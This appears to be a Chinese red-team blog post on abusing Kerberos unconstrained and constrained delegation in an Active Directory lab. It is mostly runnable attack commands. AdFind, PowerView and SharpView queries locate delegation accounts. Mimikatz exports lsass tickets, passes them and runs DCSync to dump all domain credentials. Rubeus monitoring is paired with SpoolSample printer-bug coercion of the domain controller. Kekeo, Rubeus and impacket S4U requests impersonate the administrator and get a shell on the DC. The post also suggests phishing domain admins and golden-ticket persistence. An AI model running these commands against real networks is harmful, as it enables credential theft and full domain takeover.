banner
毅种循环

毅种循环

请将那贻笑罪过以逐字吟咏 如对冰川投以游丝般倾诉

域委派-约束委派&非约束委派

本篇文章主要是对域渗透中的委派利用手法进行总结。

域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。需要注意的是在域内可以委派的账户有两种,一种是 主机账户 ,另一种是 服务账户 (域用户通过注册 SPN 也可以成为服务账号)。

在域中只有服务账户和主机账户(即机器账户,一个普通域用户默认最多可以创建十个机器账户)才具有委派属性,也就说才能接受委派。
Kerberos 委派主要分为三种:

非约束委派 (Unconstrained Delegation)
约束委派 (Constrained Delegation)
基于资源的约束委派 (Resource-Based Constrained Delegation)

非约束委派和约束委派的流程,有兴趣的师傅可以去看看微软的手册
下面简单介绍下 Kerberos 的各类委派, 如何配置如何发现实战场景中如何利用

以下是本地操作环境:

  • 域:redteam.com

  • 域控:

    • 主域控:DC 系统:Windows Server 2016 IP:192.168.133.2
  • 域内主机:

    • Win-2008 IP:192.168.133.3 本地管理员:user1
    • Win-2016 IP:192.168.133.2 本地管理员:Administrator
  • 域用户:

    • 域管:redteam\administrator
    • 普通域用户:redteam\user1
    • 配置委派的域用户和服务账号:redteam\test

委派前提#

需要被委派的账户不能被设置为敏感账号,如下图所示

图片

非约束委派#

简介 && 配置方法#

对于非约束性委派(Unconstrained Delegation),服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 lsass 进程中,从而服务账号可以使用该 TGT,模拟用户访问任何服务。

非约束委派的设置需要SeEnableDelegation特权,该特权通常仅授予域管理员。配置了非约束委派的用户的userAccountControl属性有个 FLAG 位,TRUSTED_FOR_DELEGATION,对应是 0x80000 ,也就是 524288 。可以委派任何服务即为非约束委派。默认域内的域控均为非约束委派,可用于跨域(关于标志位值可参考:decoding-ad-useraccountcontrol-value

图片

打开 "Active Directory 用户和计算机 -> 查看 -> 高级功能",然后再查看用户属性即可看到(adsiedit.msc进 ADSI 编辑器也可以看到)

这里值为 WORKSTATION_TRUST_ACCOUNT 和 TRUSTED_FOR_DELEGATION,所以为 0x81000

图片

图片

非约束委派流程#

非约束委派:当 user 访问 service1 时,如果 service1 的服务账号开启了 unconstrained delegation(非约束委派),则当 user 访问 service1 时会将 userTGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张TGTuser的身份去访问域内的任何服务(任何服务是指user能访问的服务)

https://www.cnblogs.com/zpchcbd/p/12939246.html

图片

  1. 用户发送 KRB_AS_REQ 请求 TGT(我们称为 TGT1)
  2. KDC 在 KRB_AS_REP 消息中返回 TGT1
  3. 用户再通过 TGT1 请求可转发的 TGT(我们称为 TGT2)
  4. KDC 在 KRB_TGS_REP 消息中返回可转发的 TGT2**(票据属性中带有可转发的标记 Forwarded)**
  5. 用户使用 TGT1 向 TGS 申请访问 Service1 的 ST 服务票据
  6. TGS 返回给用户一个 ST 服务票据
  7. 用户发送 KRB_AP_REQ 请求至 Service1,这个请求中包含了 TGT1 和 ST 服务票据、TGT2、TGT2 的 Session key**(这里 TGT2 和 TGT2 的 Session key 会被储存到 Service1 中,以便后续使用)**
  8. Service1 使用用户的 TGT2 通过 KRB_TGS_REQ 发送给 KDC,以用户的名义请求能够访问 Service2 的票据 ST2
  9. KDC 在 KRB_TGS_REP 消息中返回 Service2 到 Service1 的票据 ST2
  10. Service1 以客户的名义用 ST2 发送 KRB_AP_REQ 请求
  11. Service2 响应步骤 10 中 Service1 的请求
  12. Service1 响应步骤 7 中用户的请求
  13. 在这个过程中的 TGT 转发机制,没有限制 Service1 对 TGT2 的使用,也就是说 Service1 可以通过 TGT2 来请求任意服务
  14. KDC 返回步骤 13 中请求的票据,15 和 16 即为 Service1 通过模拟用户来访问其他服务

大致流程是:用户请求 Service1,用户向 KDC 申请了访问 Service1 的 ST 服务票据和带有可转发标记的 TGT 票据,会一起发送给 Service1,然后会被缓存到 lsass 中,后续 Service 就能使用那张可转发的 TGT 票据,以用户的身份申请其他任意服务的 ST 票据。对攻击者来说,如果使用 DC 或域管去访问 Service1,那么就会在 lsass 内存中留下票据,就相当于直接拿下了域控。

查找域中配置非约束委派的主机 / 服务账户

查找域中配置非约束委派的主机 / 服务账户#

AdFind(可在域外查询)#

普通域用户执行

# 查询域内配置非约束性委派的主机
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

# 查询域内配置非约束性委派的服务账号
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

图片

注:默认域控是配置了非约束性委派的,所以查出来显示具有两个配置了非约束委派的计算机。

域外可指定域普通用户账密进行查找

#AdFind.exe -h 域控IP -u 域普通用户名 -up "密码" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

#查询域中配置非约束委派的主机
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

#查询域中配置非约束委派的服务账户
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com"" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

图片

SharpLDAPSearch#

下载地址:SharpLDAPSearch

可以用 ldap 查询筛选,普通域用户下执行:

查找域中配置非约束委派的主机:
SharpLDAPSearch.exe "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" "samaccountname"

查找域中配置非约束委派的用户:
SharpLDAPSearch.exe "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" "samaccountname"

使用 PowerView.ps1#

PowerView-3.0 tips and tricks

PowerView 存在两个版本,有些功能只在 dev 版本中支持,但是我试了两个版本都不能直接查非约束委派的服务账户,所以这里用 LDAP 查询筛选

普通域用户下执行:

#查询域中配置非约束委派的主机,下面俩一样
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetComputer -Domain redteam.com -Unconstrained | select samaccountname}"
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Domain redteam.com -Unconstrained | select samaccountname}"


#查询域中配置非约束委派的服务账户
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -Domain redteam.com -LDAPFilter userAccountControl:1.2.840.113556.1.4.803:=524288 | select name}"


图片

SharpView.exe#

SharpView.exe

用法和 PowerView.ps1 一样,他的查询服务账户好像还是有点问题,所以这里还是用 LDAP 查询

#查询域中配置非约束委派的主机
SharpView.exe Get-NetComputer -Domain redteam.com -Unconstrained -Properties samaccountname

#查询域中配置非约束委派的服务账户
SharpView.exe Get-DomainUser -Domain redteam.com  -LDAPFilter userAccountControl:1.2.840.113556.1.4.803:=524288 -Properties samaccountname

图片

非约束性委派攻击利用#

https://y4er.com/post/kerberos-unconstrained-delegation/
https://www.freebuf.com/articles/web/303666.html

用户 user 去访问服务 service,如果服务 service 的服务账户开启了非约束性委派,那么当用户 user 访问服务 service 的时候会将用户 user 的 TGT 发送给服务 service 并保存在内存中以备下次重用,所以服务 service 能够利用用户 user 的身份去访问用户 user 能够访问的任意服务。

两种攻击方式,一种是诱使域管用户(相当于是域内钓鱼)来访问配置了非约束性委派的主机或服务,二是结合打印机漏洞让域管用户强制回连以缓存 TGT。

利用场景#

当我们在域内拿到一台配置了非约束委派的主机后,就可以使用 mimikatz 导出所有票据,若是有其他用户访问过该主机,那么我们就可以通过 ptt 获取该用户权限。

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
kerberos::ptt
psexec64.exe \\DC2012.0ne.test -accepteula -s cmd

当然我们也可以诱导域管访问该主机,例如通过给管理员发诱饵文件修改 Desktop.ini,或是 outlook 等等。详情可参考daiker 师傅的发起 NTLM 请求

域管在域控上点击此文件夹是就会访问 win7,导出域管的 TGT,ptt,psexec 域控。

图片

图片

利用前提#

  • 需要非约束委派账户的主机本地管理员权限(需要从内存导出票据)
  • 查找非约束委派时需要一个域账户

模拟域管去访问非约束性委派主机#

1. 以域管账户访问 WIN-2008 机器(主要是为了生成 TGT)。

模拟域管用户 yg1(只要是域管用户,不一定在域控)远程访问非约束性委派主机机 Win-2008Win-2008 已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS,这里演示域管用户 直接 IPC 连接 Win-2008

图片

图片

这时候 Win-2008 机器就已经有了域管 yg1 的 TGT 票据,可以用 mimikatz 导出 lsass 内存中所有票据。

图片

3. 使用 mimikatz 将票据导入内存中

#导入票据
mimikatz.exe "kerberos::ptt [0;7a739][email protected]" "exit"
#查看票据
#也可mimikatz中查看:kerberos::list
klist

图片

dcsync 导出密码时也能获得访问域控 LDAP 的 ST 票据,可访问域控,一切正常:

mimikatz.exe "lsadump::dcsync /domain:redteam.com /all /csv" "exit" > ntds.txt

图片

非约束委派 + Spooler 利用#

在实战中,被动的非约束委派的利用需要和目标用户交互比较鸡肋。因此可以利用非约束委派 + Spooler 打印机服务可以强制指定的主机进行连接。

非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC 强制访问已控的具有本地管理员权限的非约束性委派机器 Win-2008 ,从而拿到域管理员的 TGT,进而接管域控

利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification (Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。

条件:目标机器(一般选域控)上需要开启 Print Spooler 服务(默认开启)

图片

https://www.cxyzjd.com/article/a3320315/106511098

https://www.cnblogs.com/nice0e3/p/15875685.html#powerview

首先利用RubeusWin-2008 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息

已编译的 Rubeus 下载:https://oss.zjun.info/file/Rubeus.exe

版本:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

1. 使用 Rubeus 监听来自 DC 机器的 4624 登录日志 **(需要本地管理员权限)**

如果不能 cmd 不能最大化窗口,可以先运行 wmic,然后再最大化窗口,之后在 exit 回到 cmd 下

# /interval:1 设置监听间隔1秒
# /filteruser 监听域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
Rubeus.exe monitor /interval:1 /filteruser:DC$

2. 利用打印服务强制使 DC 访问 WIN-7 认证(可以不用管理员权限)

再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

已编译的 SpoolSample 下载:https://oss.zjun.info/file/SpoolSample.exe

SpoolSample.exe DC WIN-7

图片

WIN-7 机器上接收到 TGT 票据

图片

3. 导出 & 注入票据

如果使用 mimikatz 注入票据需要先进行一次转换

#使用mimikatz
##PowerShell下执行
[IO.File]::WriteAllBytes(".\ticket.kirbi", [Convert]::FromBase64String("去掉换行后的Base64编码的票据"))
##PTT
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"

#使用Rubeus
##可直接使用base64的TGT进行PTT
Rubeus.exe ptt /ticket:去掉换行后的Base64编码的票据

图片

注:这里获得的是域控机器账户的 TGT 票据

接下来解密 NTLM hash 后可以直接登录域控,解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持,可以参考:https://blog.zjun.info/2020/kerberos-protocol-to-ticket-forgery.html#cl-8

约束委派#

简介 & 配置方法#

由于非约束委派的不安全性,微软在 Windows Server 2003 中发布了约束性委派(Constrained Delegation),还扩充了 Kerberos 协议,添加了 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ) 子协议,服务账号只能获取用户的 TGS,从而只能模拟用户访问特定的服务。配置了约束委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个进行委派。相较于非约束委派​**,约束委派最大的区别也就是配置的时候选择某个特定的服务,而不是所有服务。** 约束委派的设置同样需要SeEnableDelegation特权,该特权通常仅授予域管理员

当服务账号或者主机被设置为约束性委派时,其userAccountControl 属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo 属性会包含被约束的服务。

点击 "添加 -> 选择委派的计算机 -> 选择委派的服务" 即可新增。

小提示#

如果我们可以攻破配置约束委派的服务账户 (获取密码 / Hash),我们就可以模拟域内任意用户 (如 domain\administrator) 并代表其获得对已配置服务的访问权限(获取 TGS 票据)。

此外,我们不仅可以访问约束委派配置中用户可以模拟的服务, 还可以访问使用与模拟帐户权限允许的任何服务。 (因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执行 DCSync。

如果 AD 中将用户标记为 “帐户敏感且无法委派”,则无法模拟其身份。

图片

userAccountControl 属性:

图片

msDS-AllowedToDelegateTo 属性:

图片

注册个用户为服务账号方便后面复现(域管操作)

#创建个域用户
net user SqlServer S123456@#!1 /domain /add
#注册SPN,将SqlServer用户注册为服务账号
setspn -U -A SQLServer/WIN2008.redteam.com:1433/MSSQL SqlServer
#查找指定SqlServer用户注册的SPN
setspn -L SqlServer

图片

然后在域控中将 SqlServer 用户配置为约束性委派,方便演示直接配置为域控的 CIFS 协议

图片

约束委派流程#

图片

  1. 用户向 Service1 发起请求
  2. Service1 通过 S4U2self 模拟用户向 KDC 请求获得 Service1 自身服务的可转发的 ST 服务票据
  3. KDC 返回给 Service1 一个用于 Service1 自身服务的带有可转发标志的 ST 服务票据(这里假设称为 ST1),并且 Service1 用这个 ST1 完成和用户的验证过程。
  4. Service1 在步骤 3 使用模拟用户申请的 ST1 票据(带有 Forwardable 标记)完成与用户的验证,然后响应用户。
  5. 用户再次向 Service1 发起请求。(这里有两点:Service1 已经验证通过,并且有一个有效的带有 Forwardable 标记的 TGT、Service1 有从用户请求 Service1 的带有 Forwardable 标记的 ST1)
  6. 然后 Service1 通过 S4U2proxy 代表用户用 ST1(带有 Forwardable 标记,在 S4U2SELF 阶段获得的 TGS 票据,会放在 AddtionTicket 字段中)向 KDC 请求一个用于认证 Service2 的 ST(这里假设称为 ST2)。通过 ST1 中的 cname(client name)和 crealm(client realm)字段标识用户。
  7. KDC 在接收到步骤 6 中 Service1 的请求之后,进行验证,然后返回 Service2 的服务票据 ST2(带有 Forwardable 标记)
  8. Service1 代表用户使用 ST2 请求 Service2。
  9. Service2 响应 Service1 的请求。
  10. Service1 响应用户的请求。

从攻击者的角度来看就是如果攻击者控制了 Service1 的账号,并且 Service1 配置了到 Service2 服务的约束性委派。则攻击者可以利用 Service1 以 administrator 身份 Service2。

查找域中配置约束委派的主机 / 服务账户#

AdFind(可在域外查询)#

普通域用户执行

#查找域中配置约束委派的主机及服务
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

#查找域中配置约束委派的服务账户及服务
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

图片

域外可指定域普通用户账密进行查找

#AdFind.exe -h 域控IP -u 域普通用户名 -up "密码" -b "DC=xx,DC=xx" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

#查询域中配置约束委派的主机及服务
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

#查询域中配置约束委派的服务账户及服务
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

图片

配置了约束委派的机器

图片

这是配置了约束委派的服务账户。

SharpLDAPSearch#

下载地址:SharpLDAPSearch

可以用 ldap 查询筛选,普通域用户下执行:

查找域中配置约束委派的主机
SharpLDAPSearch.exe "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" "samaccountname"

查找域中配置约束委派的服务账户
SharpLDAPSearch.exe "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" "samaccountname"

图片

PowerView.ps1#

#查找域中配置约束委派的主机
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Domain redteam.com -TrustedToAuth -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto|fl}"

#查找域中配置约束委派的服务账户
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -Domain redteam.com –TrustedToAuth -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto|fl}"

SharpView.exe#

#查找域中配置约束委派的主机
SharpView.exe Get-DomainComputer -Domain redteam.com -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto 

#查找域中配置约束委派的服务账户
SharpView.exe Get-DomainUser -Domain redteam.com -LDAPFilter msds-allowedtodelegateto=* -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto

约束性委派攻击利用#

https://blog.csdn.net/qq_36119192/article/details/104538160

https://www.redteaming.top/2020/02/11 / 域渗透 ——Kerberos 委派攻击 /

域外机器也执行

服务用户只能获取某个用户(或主机)的服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的 TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者 NTLM Hash ,我们就可以伪造 S4U 请求,进而伪装成服务用户以任意账户的权限申请访问指定服务的 ST。

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的 TGT。

注:

在 Windows 系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有。

服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如 MS SQL Server在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。

使用 kekeo#

kekeo

1. 使用 kekeo 申请 TGT 票据

#密码明文方式
tgt::ask /user:test /domain:redteam.com /password:P@ssw0rd

kekeo.exe "tgt::ask /user:SqlServer /domain:redteam.com /password:S123456@#!1" "exit"

#密码NTLM方式
kekeo.exe "tgt::ask /user:SqlServer /domain:redteam.com /NTLM:77e3527e2a110b7e30659749718f54f9" "exit"

图片

2. 请求域控 CISF 服务的 ST 票据

使用这张 TGT 通过伪造 S4U 请求以 administrator 用户身份请求访问 DC CIFS 的 ST

#需要使用上面申请的TGT票据
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dc.redteam.com" "exit"

图片

结果生成了两张 ST 票据,一张是通过 S4U2Self 请求 SqlServer 自身的 ST 票据,一张是通过 S4U2Proxy 获得的请求 CIFS 的 ST 票据

然后用 域内机器上 mimikatz 将 ST2 导入当前会话,即可成功访问域控 DC

mimikatz.exe "kerberos::ptt [email protected]@[email protected]" "exit"

图片

图片

成功访问到域控资源。

如果不知道服务用户明文的情况下,kekeo 同样也支持使用 NTLM Hash,在请求服务用户的 TGT 那步直接把 /password 改成 /NTLM 即可

# kekeo
tgt::ask /user:test /domain:zjun.com /NTLM:e19ccf75ee54e06b06a5907af13cef42

如果不知道服务用户的明文和 NTLM Hash,但是已有服务用户登陆的主机的本地管理员权限,可以用 mimikatz 直接从内存中把服务用户的 TGT 导出

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

图片

服务用户的 TGT 导出后,就可以通过伪造 S4U 请求以 administrator 用户身份请求访问 P-DC CIFS 的 ST

# kekeo
tgs::s4u /tgt:[0;8f613]-2-0-40e10000-test@krbtgt-ZJUN.COM.kirbi /user:Administrator@zjun

使用 Rubeus#

和上面的流程一样,就不贴图了

#因为Rubeus不支持明文密码,所以先转换成hash
Rubeus.exe hash /password:S123456@#!1

#1.申请TGT票据,获得base64格式的TGT
Rubeus.exe asktgt /user:SqlServer /rc4:77E3527E2A110B7E30659749718F54F9 /domain:redteam.com

#2.powershell下转换为正常格式
[IO.File]::WriteAllBytes(".\ticket.kirbi", [Convert]::FromBase64String("去掉换行后的base64"))

#3.请求域控CISF服务的ST票据并注入
Rubeus.exe s4u /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:cifs/dc.redteam.com /ptt

一步到位:

Rubeus.exe s4u /user:SqlServer /rc4:77E3527E2A110B7E30659749718F54F9 /impersonateuser:administrator /msdsspn:cifs/dc.redteam.com /ptt

图片

使用 impacket 包#

执行命令的话建议选择 impacket 包,用 mimikatz 进行 ptc 的话也是用不了 impacket 包的如 smbexec 工具执行命令的,需要指定 KRB5CCNAME

#1. 请求访问域控CIFS的ST票据
#impersonate:伪造用户
#spn:要委派的服务的spn
#dc-ip:域控ip
python3 getST.py -dc-ip 172.16.1.1 -impersonate administrator bean/SqlServer:S123456@#!1 -spn cifs/dc.bean.testlab

#2. 导入cache
##2.1 Windows下
set KRB5CCNAME=administrator.ccache
##2.2 Linux下
export KRB5CCNAME=administrator.ccache

#3. 拿到域控权限
python3 smbexec.py -no-pass -k dc.bean.testlab

图片

‍基于资源的约束委派太多了,日后在更。

总结结束。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。